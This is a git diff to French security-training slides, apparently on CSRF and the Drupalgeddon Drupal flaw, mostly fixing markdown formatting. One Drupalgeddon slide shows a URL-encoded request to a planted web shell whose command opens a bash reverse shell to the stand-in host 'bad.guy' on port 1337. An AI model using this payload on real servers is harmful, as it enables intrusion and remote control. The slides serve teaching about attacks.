diff --git a/content/slides/1337/md/csrf.md b/content/slides/1337/md/csrf.md
index 9756b66b7fe5419abdffaec9219d4ef65dc73932..ff4cb91c9c081b552ded5a5f3ed8b871697ff9e2 100644
--- a/content/slides/1337/md/csrf.md
+++ b/content/slides/1337/md/csrf.md
@@ -38,9 +38,7 @@ Note:
 
 ## Mode opératoire
 
-<div style="text-align: center">
-  ![alt text](images/csrf/csrf.png "CSRF")
-</div>
+![alt text](images/csrf/csrf.png "CSRF")
 
 Note:
 - rappel ici mail, mais aussi
diff --git a/content/slides/1337/md/drupalgeddon.md b/content/slides/1337/md/drupalgeddon.md
index 87235f87c4557f1916ce3f4f3da44ae6e95ca39a..a6fcab09f364312d17607b94bbd329248920fbcb 100644
--- a/content/slides/1337/md/drupalgeddon.md
+++ b/content/slides/1337/md/drupalgeddon.md
@@ -258,7 +258,8 @@ en version encodée
 
 ```http
 http://drup.al/sites/default/files/backdoor.php?
-cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0```
+cmd=bash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2Fbad.guy%2F1337+0%3E%261+%3B+bash%27%0D%0
+```
 
 * connecte le serveur sur l'IP de l'attaquant